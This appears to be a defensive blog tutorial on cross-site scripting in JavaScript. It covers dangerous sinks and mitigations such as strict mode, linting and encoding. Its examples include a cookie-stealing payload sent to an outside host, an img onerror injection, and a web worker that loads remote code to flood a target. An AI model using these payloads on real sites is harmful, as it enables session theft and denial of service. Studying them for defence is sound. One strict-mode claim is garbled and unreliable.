Cross Site Scripting (XSS) is listed by OWASP Top 10 as #3 on the list. If you tried to decipher Cross-site Scripting and understand its mitigation, you will soon discover that understanding the different HTML contexts is key to understanding proper mitigations against Cross-site Scripting. One of the toughest contexts is the JavaScript context since injected code is much closer to an execution context than any other context.

With the rise of JavaScript stacks, this problem is only growing, and more possibilities for successful execution of malicious code is increasing.

To talk about XSS in JavaScript (JS) we first need to understand that JavaScript by itself has design problems that lead to XSS but the vast majority of issues arise from entry points that are not part of the language spec, but APIs into the browser that JavaScript can interact with. To get things started, let us refresh ourselves on what types of XSS appear in web applications.

Wikipedia defines XSS as:

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side script into web pages viewed by other users.

There are three main types of XSS:

  • Stored XSS or Persistent XSS
  • Reflected XSS
  • DOM Based XSS

Stored XSS

Stored XSS happens when user input is stored on the target server, and the victim is able to retrieve the stored data in an unsafe way. This can affect any user that has access to the stored data.

Reflected XSS

Reflected XSS happens when user input is returned immediately to the user and the input is not validated or made safe to render by the browser.

DOM Based XSS

DOM based XSS happens when XSS becomes possible based on DOM-based manipulation. Think of it as a dormant payload, which becomes active only when the DOM manipulates it in certain ways.

Common XSS Attacks

Cross-site scripting is one of the most common attacks in today’s web applications. Cross-site scripting could be used in several attacks. For example

  • Cookie theft and/or account hijackingThis happens when a malicious user is able to exploit an XSS flaw that allows them to gain session information about a user and use it to impersonate the user. For more information read Stealing Cookie With XSS.
  • KeyloggingThis happens when a malicious user is able to exploit an XSS flaw that allows them to receive key press events on the targeted web page from other users. Read Getting Sassy With XSS Part I – Keystroke Logging for more information.
  • PhishingThis happens when a page is vulnerable to XSS and a malicious user creates a URL to the page that they send to an unsuspecting user that contains a payload. When the user navigates to the page, the attacker is able to gain the users session information using the XSS payload. More can be read here Phishing and Cross-Site Scripting
  • Access browser history and clipboard contents
  • Control of the browser

Now focusing on JavaScript in particular, let’s look at attack vectors

Input-Based Attack Vectors

JavaScript Inputs

In JavaScript itself there are only a few entry points for XSS.

The first is eval. Don’t use eval. It’s considered evil. Eval will execute whatever string is given to it in a new context. Getting an executable context in JavaScript is the number one goal for the attacker.

Heres a screenshot of eval in action.

Eval executing whatever JavaScript comes its way

 

Next, don’t use anything that will take a string as arguments and execute said string. This is considered an implicit eval. The function constructor, setTimeout, setInterval can all take a string as an argument.

Bad:

[code language=”javascript”]
// if evaluated, this will send the users cookie to a webserver of the attackers choice
var stringFunc = ‘(new XMLHttpRequest()).open(“GET”,
“http://www.example.org/example.txt?c=” + document.cookie,true).send();’;
eval(stringFunc);
new Function(stringFunc)();
setTimeout(stringFunc, 1000);
setInterval(stringFunc, 1000);
[/code]

All these examples will execute our stringFunc and send the users cookie to some malicious place in the cloud.

DOM Inputs

This is probably the most important attack vector since this is where if done improperly DOM based XSS most frequently occur. The key here is to programmatically create DOM nodes and append them to the DOM when we want to add content instead of inserting HTML directly into the document.

Also on the DO NOT use list there are DOM based methods that can be considered dangerous if used with user input

  • element.innerHTML, element.outerHTML
  • document.write(), document.writeln()
  • element.setAttribute()
    • dangerous attributes include: href, src, onclick, onblur etc

[code language=”javascript”]
// vulnerable innerHTML
container.innerHTML = req.responseText;
[/code]

if req.responseText contained:

[code language=”html”]
<img src=x onerror=”alert(document.cookie)” />
[/code]

the javascript code will be executed after its been set by innerHTML. The same sort of attack will work with document.write.

Heres an example using innerHTML and using un-sanitized query string parameters

Query string parameter and innerHTML abuse

 

Generally, this means avoiding using .html(), and innerHTML and instead using .append() and .prepend() and so on when adding content. This applies to both native DOM methods and jQuery methods.

element.innerText is generally considered safe, but be careful where it’s used, for example if it were used on a script tag element user input could still be executable.

URL Inputs

Getting values from parameters and query strings client side has to be done properly to avoid pitfalls. This input into a JavaScript application is a high priority on an attackers list to try first.

Given this php, and a url like this that has malicious code in a query string parameter url encoded

[code]http://virtual0.cs.missouri.edu/dumb.php?name=%3Cscript%3Ealert%2842%29;%3C/script%3E[/code]

[code language=”php”]
<!–?php $name = $_REQUEST [‘name’]; ?–>
Hello, <!–?php echo $name; ?–>!
[/code]

The result HTML would look like, and would be executed when the page loads

[code language=”html”]
Hello,<script>// <![CDATA[ alert(42) // ]]></script>!
[/code]

Client side storage including cookies

Remember that the data that comes from cookies, localStorage, sessionStorage and the like, cannot be trusted, as its vulnerable to user manipulation.

[code language=”javascript”]
localStorage.setItem(‘alert’, ‘alert(document.cookie)’);
eval(localStorage.getItem(‘alert’))
[/code]

postMessage

The browser cross domain messaging system should be untrusted as a malicious user could man-in-the-middle your web application and the application you are receiving communication from. A great postMessage example can be found here

Webworkers

Webworkers can be used to perform denial of service attacks against the target, so it’s best to not allow users to create them. Since Webworkers use the postMessage api to communicate with the main thread of execution, any communication with the web worker should be untrusted, as an attacker could be the one manipulating the messages going between your application and the worker.

[code language=”javascript”]
//main site that has injectable xss with vulnerable web worker
var sandbox = new Worker(‘sandbox.js’);
sandbox.postMessage(‘http://external.site/bad.js’);

//sandbox.js
onmessage = function(e) {
importScripts(e.data);

this<a>’someUntrustedFunction'</a>;
}

//bad.js which gets loaded into vulnerable sites webworker and executed
// make a bunch of xhr requests to a target
var someUntrustedFunction = function() {
var xhr = new XMLHttpRequest();
xhr.open(‘get’, ‘http://target.site’, true);
xhr.send();
xhr.onreadystatechange = function(data) {
if (data.target.readyState === 4) {
someUntrustedFunction();
}
}
}
[/code]

JSON

Also bearing in mind that anywhere you accept JSON input there is the possibility of user manipulation and so it shouldn’t be trusted and must be validated.

It should already by clear that using eval here is a bad idea. Using JSON.parse is the preferred method for JSON input since it wont execute what its given. Despite this, given bad input, the parse function can crash your application.

Mitigation Techniques

There are a few strategies to help you from failing and/or falling.

Using JavaScript Code Safely

The fix for the implicit eval functions, setTimeout, setInterval are to include non string functions.

[code language=”javascript”]
setTimeout(function() { console.log(“safe”); }, 1000)
setInterval(function() { console.log(“safe”); }, 1000)
[/code]

The first of these is something called

[code language=”javascript”]
‘use strict’;
[/code]

This is a special mode that tells the browser to enforce certain rules with regards to what JavaSscript it will execute. For example, while in strict mode, eval is now allowed. Full stop. An example looks like this

[code language=”javascript”]
function strictModeOn() {
‘use strict’;

//eval not allowed
console.log(‘no eval’);
}
[/code]

The next is using a JavaScript linter that checks code for syntactic errors. Two popular engines that could be used are JSHint or ESLint. They can be included in an asset compilation step that checks code for all the bad APIs or as plugins into your IDE or text editor.

Using JSON Safely

To catch malformed JSON data being input into your application, this is a function that could handle it for you:

[code language=”javascript”]
function parseJSON(obj, reviver, callback) {
var json;
try {
json = JSON.parse(obj, reviver);
}
catch(err) {
return callback(err);
}
callback(null, json);
}
[/code]

Using URL Safely

The steps necessary to safely output to a URL include:

  • URL encode the desired URL
  • JavaScript encode the result of step 1

This applies to URLs that are used in CSS as well.

Using DOM Safely

For DOM input from the user we need to validate what is being given to us on input. For outputting to the DOM the strategy varies depending where you are inserting dynamic content. Generally, when inserting data into the DOM it is always necessary to HTML encode the data. This removes the threat of nasty characters that could give an attacker an execution scope.

When inserting content into the DOM the places to be careful of include:

[code language=”html”]
<script>// <![CDATA[ trusted code only // ]]></script>
<!– trusted code only –>

<div></div>

&nbsp;

[/code]

Using a proper validation library and making sure to use the proper encoding methods will help mitigate the risk. There are many different options here to choose from and depending where you are validating it can be on either the client or server or both and in many different languages. The key, regardless of what you use, is to validate and decode properly since validating isn’t enough by itself to protect your application and data.

Another possible solution is to use a tool from Google called google-caja. Its a tool that sanitizes your HTML, CSS, and JavaScript so that you can safely embed third party code into your site.

Summary

Hopefully this has been an informative post into the world of XSS and how JavaScript and the DOM play into an attackers hand. For further reading into the subject its worth following the links Ive included, especially the OWASP ones as they provide excellent concise advice on how to handle XSS prevention.

Happy coding!

References

White Paper - Proving Adherence to Software Security Best Practices

White Paper - Proving Adherence to Software Security Best Practices

Industry standards and the best practices for developing secure software. Please provide your email and name to receive your copy.

Success! Your copy is on the way.

eight-myths

The 8 New Deadly Myths of Application Security

If you want to get clear on the best strategy for software security in your organization, you must first get clear on the problems. Many organizations identify the problems as cryptography, insecure SSL practices, or authentication issues.

This is why organizations get trapped within incorrect mindsets to find themselves struggling to prove proper adherence to software security best practicesor worse, in a middle of a data breach.

Enter your name and email below to understand the myths and start an application security program that works.

You have Successfully Subscribed!